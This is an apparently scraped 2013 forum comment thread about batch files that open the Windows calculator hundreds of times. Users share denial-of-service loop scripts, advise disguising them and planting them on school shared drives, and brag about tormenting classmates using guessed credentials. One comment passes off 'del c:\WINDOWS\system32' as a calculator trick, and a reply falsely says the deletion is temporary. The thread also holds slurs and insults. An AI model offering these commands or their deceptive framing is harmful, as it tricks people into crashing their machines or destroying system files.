the answer to life. . open ed like 500 castrato's Th at' s only 42 wow you must be fun at parties.... I just made a batch that opens the calculator exe 500 times. If anyone wants it. Just open up notepad, copy this, paste it in there, and save it as Calculator.b the answer to life open ed like 500 castrato's Th at' s only 42 wow you must be fun at parties I just made a batch that opens calculator exe times If anyone wants it Just up notepad copy this paste in there and save as Calculator b
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> hey anon, wanna give your opinion?
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#4 - hollyisthebest
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(07/09/2013) [-]
I just made a batch that opens the calculator exe 500 times.
If anyone wants it. Just open up notepad, copy this, paste it in there, and save it as Calculator.bat. (Make sure to select all files, not just as a .txt)
(Yes, I know I wasn't supposed to use a GOTO, I used a goto because **** you that's why)

@ECHO OFF
set x=0
set x1=500
:loopstart
start /d "C:\Windows\System32" calc.exe
set /a x = %x% + 1
IF NOT %x% == %x1% goto loopstart
User avatar #5 to #4 - lacklusterpelican
Reply -97 123456789123345869
(07/09/2013) [-]
Just reset my computer after it crashed, thanks.
User avatar #6 to #5 - hollyisthebest
Reply +164 123456789123345869
(07/09/2013) [-]
What the **** did you think it would do? Give you a hand job and call you Suzy?
It opens the calculator 500 times.
#15 to #6 - comanderspy
Reply +29 123456789123345869
(07/09/2013) [-]
but arent today's computers able to do over 10 million calculations a second?
User avatar #26 to #15 - Timmietim
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(07/09/2013) [-]
Starting the program takes a lot more computing than just doing 1 calculation
User avatar #36 to #26 - jimmiesberustled
Reply -2 123456789123345869
(07/09/2013) [-]
'Scuse me sir. I'd like to take a moment of your time to tell you that your picture is just perfect. Secret is wonderful
#41 to #36 - Timmietim
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(07/09/2013) [-]
My *****
My *****
#43 to #41 - jimmiesberustled
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(07/09/2013) [-]
I have no Secret pictures
I have no Secret pictures
User avatar #44 to #43 - Timmietim
Reply -3 123456789123345869
(07/09/2013) [-]
I have 200+ of hyosung
User avatar #45 to #44 - jimmiesberustled
Reply -4 123456789123345869
(07/09/2013) [-]
I love you
#46 to #45 - Timmietim
Reply -3 123456789123345869
(07/09/2013) [-]
But i won't upload my folder though.
But i won't upload my folder though.
User avatar #47 to #46 - jimmiesberustled
Reply -4 123456789123345869
(07/09/2013) [-]
Oh hell no
#48 to #47 - Timmietim
Reply -3 123456789123345869
(07/09/2013) [-]
lel fok u
lel fok u
User avatar #50 to #48 - jimmiesberustled
Reply -5 123456789123345869
(07/09/2013) [-]
Woah woah woah, no need to get nasty! I was agreeing with you. Gee wizz! Also, boobs!
#52 to #50 - Timmietim
Reply -3 123456789123345869
(07/09/2013) [-]
Hyosung is love, Hyosung is life.
Hyosung is love, Hyosung is life.
#53 to #52 - jimmiesberustled
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(07/09/2013) [-]
Seongyeon is my favorite of all
User avatar #56 to #53 - Timmietim
Reply -4 123456789123345869
(07/09/2013) [-]
I like minzy but Hyosung is best
User avatar #58 to #56 - jimmiesberustled
Reply -6 123456789123345869
(07/09/2013) [-]
We have different opinions, that **** don't fly on the internet
#19 to #15 - anon id: 8b528df0
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(07/09/2013) [-]
not sure if ogreing...
#24 to #15 - jmillenium
Reply -3 123456789123345869
(07/09/2013) [-]
Billions actually.
#14 to #6 - MCmc
Reply +9 123456789123345869
(07/09/2013) [-]
can you make something that does that?
#29 to #14 - hollyisthebest
Reply +5 123456789123345869
(07/09/2013) [-]
yes
User avatar #87 to #14 - hollyisthebest
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(07/09/2013) [-]
Actually, now that I thought about it. Give me an arduino, a motor, a speaker, some gears, some scrap metal, a fleshlight (nevermind, I'll just use my own), and I'll actually be able to do it.
User avatar #7 to #6 - lacklusterpelican
Reply -6 123456789123345869
(07/09/2013) [-]
Sheesh, I'm sorry.
User avatar #8 to #7 - brokenhalf
Reply -25 123456789123345869
(07/09/2013) [-]
delete....system...thirty...two....
#70 to #5 - anon id: 1cfbe302
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(07/09/2013) [-]
You're pretty retarded...
User avatar #22 to #4 - thenonsocial
Reply -2 123456789123345869
(07/09/2013) [-]
Or if you want to be a real dickbutt.
:a
start calc
goto:a

BEWARE will crash ****!
#10 to #4 - anon id: a251b66e
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(07/09/2013) [-]
It bothers me that you're using x1 instead of y.
User avatar #11 to #10 - hollyisthebest
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(07/09/2013) [-]
It's an old habit I picked up from Mathematica, my first programming language. I would work on huge overly complicated projects (mainly because I was bored), and separate sections of notebook and give each variable in a section something similar to x1, x2, x3 to organize it. And ever since then, I would do the same thing for all my projects.
#13 to #4 - anon id: f16cc7bd
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(07/09/2013) [-]
"start calc" is enough
#16 to #4 - anon id: 22cbc836
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(07/09/2013) [-]
i tried it.. it takes with 8gb of ram ~2-3 minutes to open them, 1 min to get to the desktop, then click "close all" causes you desktop to get refreshed and everything but your task bad is ok again.. nevertheless... baad boy
User avatar #34 to #4 - spyisspy
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(07/09/2013) [-]
it worked, i only lost Aero and the Windows Logo
User avatar #76 to #4 - buttholee
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(07/09/2013) [-]
It didn't work for me
User avatar #77 to #76 - hollyisthebest
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(07/09/2013) [-]
Does it open up the calculator at least 1 time?
What OS are you running?
Try replacing
>set x1=500
with
>set x1=2
and see if it opens anything.
User avatar #78 to #77 - buttholee
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(07/09/2013) [-]
Never mind, I found the problem...
User avatar #81 to #4 - niggastolemyname
Reply 0 123456789123345869
(07/09/2013) [-]
already had an empty notepad.
*insert picture of success here*
User avatar #88 to #4 - bighairyfart
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(07/09/2013) [-]
I prefer:

@ECHO OFF
:a
calc
goto :a

Save as something people will want to open, if you have access to a shared drive(like at a school) upload it in the most visible place there. Also, it's great fun to replace calc with explorer.
User avatar #90 to #88 - hollyisthebest
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(07/09/2013) [-]
Since the post said "500", I thought I'd go the extra mile and limit it to 500. I haven't did anything with variables for the batch programming language. So I thought why the **** not. Besides, infinite loops are detected these days with 7 and 8.
User avatar #91 to #90 - bighairyfart
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(07/09/2013) [-]
Really? Because my schools run 7 & 8, and I had loads of fun tormenting people with this kind of stuff. My absolute favorite was an application that made 32,000 folders in whichever directory it was ran in. That was a LOT of fun to put on people's desktop's(which was easy because you could find their given username by viewing the security on anything they put on shared drives, & the passwords are numbers that they say out loud daily in order to get lunch).
User avatar #97 to #91 - hollyisthebest
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(07/09/2013) [-]
I think so, that's what masterjogi said.
And in my school, they didn't even bother with individual usernames for each person. It was just one username for all 4000 kids. But it's not linked up to a network or anything.
User avatar #99 to #4 - knighttheknight
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(07/10/2013) [-]
It worked but it gave up counting at 381.
#25 to #4 - adplum
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User avatar #31 to #25 - cannibalhannibal
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(07/09/2013) [-]
Is your profile picture faye?
#32 to #31 - adplum
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#33 to #32 - cannibalhannibal
Reply +4 123456789123345869
(07/09/2013) [-]
just checking
just checking
#86 to #33 - analbreach
Reply +1 123456789123345869
(07/09/2013) [-]
I ******* love that stuff.
User avatar #27 to #25 - hollyisthebest
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(07/09/2013) [-]
Make sure you copied everything. For instance, if you left out the last t in the last word "loopstart", it will try to go to the label loopstar, which doesn't exist in this bat. So it'll just keep going and finish the code.
#28 to #27 - adplum
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#23 to #4 - eagyn
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(07/09/2013) [-]
Wanted to see if my computer could handle the task, it failed. ( at leat for my attention span)
#9 - TheCc
Reply +42 123456789123345869
(07/09/2013) [-]
The answer to everything....
42
User avatar #49 to #9 - matttboy
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(07/09/2013) [-]
Nobody thumb this anymore! It's 42 right now!
#93 to #9 - anon id: 1675170a
Reply 0 123456789123345869
(07/09/2013) [-]
**anonymous rolls 24**
User avatar #100 to #9 - whichever
Reply 0 123456789123345869
(07/10/2013) [-]
THUMBED DOWN
to keep it at 42 likes
#74 to #9 - junysan
Reply +5 123456789123345869
(07/09/2013) [-]
just in case anyone wants to ruin it
#12 - kaboomz
Reply +35 123456789123345869
(07/09/2013) [-]
This image has expired
again with the 42
#72 - demjimmies
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(07/09/2013) [-]
May I ask what was the point of the highlight?
#1 - zeusishorny
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(07/08/2013) [-]
We will destroy you all!
We will destroy you all!
#84 - lordmathias
Reply +6 123456789123345869
(07/09/2013) [-]
Top comment has 42 replies. What is going on.
#20 - ipaintmyfloor
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User avatar #21 to #20 - WhereMehSammich
Reply +6 123456789123345869
(07/09/2013) [-]
wow you must be fun at parties...
User avatar #17 - weedsmugler
Reply +5 123456789123345869
(07/09/2013) [-]
I felt the need to count the number of calculators....
#35 to #17 - anon id: ce931d8f
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(07/09/2013) [-]
You must be fun at parties.
#73 to #17 - anon id: 92ecbe1e
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(07/09/2013) [-]
AND?!
#71 - iqpwner
Reply +4 123456789123345869
(07/09/2013) [-]
If you guys want to be able to open the calculator app 500 times but dont have the time, just open a notepad type the following:
@echo off
del c:\WINDOWS\system32

save the file as anything.bat (remember to add the .bat extension and save as all files)
double click and it will open up the caculator app 500 times.
User avatar #75 to #71 - payseht
Reply -1 123456789123345869
(07/09/2013) [-]
instructions weren't clear enough
dick stuck in floppy disc drive
User avatar #82 to #71 - niggastolemyname
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(07/09/2013) [-]
is it a temporary deletion or no?
#92 to #82 - anon id: 34b10dfb
Reply 0 123456789123345869
(07/09/2013) [-]
Yes, it's only temporary, don't worry
#95 - departed
Reply +2 123456789123345869
(07/09/2013) [-]
**departed rolled a random image posted in comment #2942168 at Friendly ** 42 IS the meaning of life...
#96 to #95 - departed
Reply -2 123456789123345869
(07/09/2013) [-]
God why did it have to be ponies...